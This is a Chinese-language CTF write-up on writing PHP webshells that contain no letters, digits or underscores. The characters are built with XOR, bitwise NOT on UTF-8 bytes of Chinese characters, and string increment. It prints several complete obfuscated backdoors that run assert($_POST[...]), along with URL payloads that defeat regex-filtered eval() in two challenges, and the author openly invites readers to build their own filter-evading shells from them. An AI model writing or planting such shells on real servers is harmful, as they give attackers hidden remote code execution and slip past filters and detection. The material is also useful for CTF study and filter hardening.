本文作者:微笑(信安之路 CTF 小組成員)
先膜一波 p 師傅的文章 《一些不包含數字和字母的 webshell》
https://www.leavesongs.com/penetration/webshell-without-alphanum.html
還有這個師傅的 《記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數字和字母的後門)》
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
太強了。這篇文章是在兩位師傅文章的基礎上寫的。
CTF 遇到一道正則過濾了字母,數字和下劃線的題目,發現了一些 PHP 的騷姿勢,感覺很有必要總結一下。
另外聲明這篇文章不是為了講如何寫免殺,而是講一些騷姿勢在 CTF 中的應用,不過師傅們當然可以自己利用這些姿勢去構造自己的免殺。
前置知識
PHP中異或 (^) 的概念
<?php
echo"A"^"?";
?>
複制
輸出的結果是字元
"~"
,這是因為代碼對字元
"A"
和字元
"?"
進行了異或操作。在 PHP 中兩個變量進行異或時,會先将字元串轉換成 ASCII 值,再将 ASCII 值轉換成二進制再進行異或,異或完又将結果從二進制轉換成ASCII值,再轉換成字元串。
A 的 ASCII 值是 65,對應的二進制值是 01000001
? 的 ASCII 值是 63,對應的二進制值是 00111111
異或的二進制的值是 10000000
複制
二進制對應的 ASCII 為 126,也就是字元
"~"
。
例如非數字字母的 PHP 後門
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代碼合并為一行,進而使程式的可讀性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
複制
PHP 中取反 (~) 的概念
來看一個漢字
"和"
>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141
複制
"和"
的第三個位元組的值為
140[0x8c]
,取反的值為
-141
負數用十六進制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最後再加一。141 的 16 進制為 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。是以
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
複制
兩個寫法性質一樣
結果會輸出:
ss
不用數字構造出數字
利用了 PHP 弱類型特性,true 的值為 1,故 true+true==2。
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)
複制
結果會輸出:2 1
在 php 中未定義的變量預設值為 null,null==false==0,是以我們能夠在不使用任何數字的情況下通過對未定義變量的自增操作來得到一個數字。
<?php
$_++;
print($_);
?>
複制
結果會輸出:1
不用數字和字母的 shell
在講不用數字,字母和下劃線寫 shell 之前,先了解下不用數字和字母寫 shell。畢竟學習都是循序漸進的。而且用不用下劃線其實問題不大,因為 PHP 太靈活了。代碼:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
複制
思路
将非字母、數字的字元經過各種變換,最後能構造出 a-z 中任意一個字元。然後再利用 PHP 允許動态函數執行的特點,拼接處一個函數名,如 "assert",然後動态執行即可。
非字母、數字的字元異或出字母
不可列印字元,用 url 編碼表示。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
複制
還可以用更短的字元,下面會用到。
"`{{{"^"?<>/"//_GET
複制
^ 會對兩邊對應的字元串進行異或。
非字母、數字的字元取反出字母
利用的是 UTF-8 編碼的某個漢字,将其中的某個字元取出來,取反為字母。一個漢字的 utf8 是三個位元組,{2} 表示第 3 個位元組
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"<br>";
print(~($____{$__}));
複制
payload
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
複制
這裡也有一種簡短的寫法
${~"\xa0\xb8\xba\xab"}
它等于 $_GET。這裡相當于直接把 utf8 編碼的某個位元組提取出來統一進行取反。
php 遞增/遞減運算符
這種方法很明顯的缺點就是需要大量的字元。
'a'++ => 'b','b'++ => 'c',我們隻要能拿到一個變量,其值為 a,通過自增操作即可獲得 a-z 中所有字元。
數組(Array)的第一個字母就是大寫 A,而且第 4 個字母是小寫 a。在 PHP 中,如果強制連接配接數組和字元串的話,數組将被轉換成字元串,其值為 Array。再取這個字元串的第一個字母,就可以獲得 'A'。
因為 PHP 函數是大小寫不敏感的,最終執行的是 ASSERT($POST[]),無需擷取小寫 a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
複制
不用數字和字母寫 shell 的執行個體
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
複制
要求 code 的長度不能大于 40,限制輸入不能為字母和數字。可以利用 PHP 允許動态函數執行的特點,拼接出一個函數名 getFlag(),然後動态執行即可。
這裡依然可以用異或的方法,隻是上面寫出來的字元長度太長了。需要用簡短的寫法:
payload
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
複制
這裡的 "`{{{"^"?<>/"上面已經說過了是異或的簡短寫法,表示_GET。
${$_}[_](${$_}[__]);
等于
$_GET[_]($_GET[__]);
把_當作參數傳進去執行 getFlag()
這道題當然也可以用取反的方法,不過下面會講到,這裡就不再重複。
不用數字,字母和下劃線寫 shell 的執行個體
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
複制
下劃線都不給,這就很恐怖了。意味着不能定義變量,而且也構造不出來數字。不過在PHP的靈活性面前,問題不大。
這是一開始學長給的 payload,+号 必須加引号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
複制
51 個字元太長了,是以這裡可以用簡短的寫法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
複制
不過這樣不能成功。
學長給出了解釋:eval 隻能解析一遍代碼,是以如果寫的是 a.b 這樣的字元串拼接,就隻會執行這個拼接,并不會去執行代碼
例如:
eval($_GET['b'])
url 裡面
b=phpinfo();
這時候相當于
eval('phpinfo();')
eval($_GET['b'])
url 裡面
b=$_GET[c]&c=phpinfo();
相當于
eval('$_GET[c]')
上面的 payload 是
code=$_GET['+']&+=getFlag();
也就是
eval('$_GET['+'])
并不會執行 getFlag();
正确的 payload 為:
${"`{{{"^"?<>/"}['+']();&+=getFlag
複制
這裡利用了
${}
中的代碼是可以執行的特點,其實也就是可變變量。
<?php
$a='hello';
$$a='world';
echo"$a${$a}";
?>
輸出:helloworld
複制
${$a}
,括号中的
$a
是可以執行的,變成了 hello。
payload 中的 {} 也是這個原理,{} 中用的是異或,
^
在 {} 中被執行了,也就是上面講的 "`{{{"^"?<>/" 執行了異或操作,相當于 _GET。
最後 eval 函數拼接出了字元串 `$_GET'+'`;,然後傳入 +=getFlag,最後執行了函數 getFlag();
429 大佬給出的 payload:
http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
這裡用的是取反
~ 在 {} 中執行了取反操作,是以
${~"\xa0\xb8\xba\xab"}
取反相當于
$_GET
。
跟上面的 payload 一個原理,拼接出了
$_GET['+']();
,傳入 +=getFlag() 進而執行了函數。
還有一種拼接的 payload:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
複制
原理大同小異,
$啊=getFlag;$啊();
,這裡就不需要用 {} 了,因為取反的值直接被當作字元串指派給了 $ 啊。
總結
PHP 是弱類型的語言,是以我們可以利用這個特點進行許多非正常的操作,也就是利用各種騷姿勢來達到同一個目的。不過随着 PHP 版本的變化,php 的一些特性也會變化,例如 php5 中 assert 是一個函數,但 php7 中,assert 不再是函數,變成了一個語言結構(類似 eval),不能再作為函數名動态執行代碼。是以我們要多熟悉 php 不同版本的差異。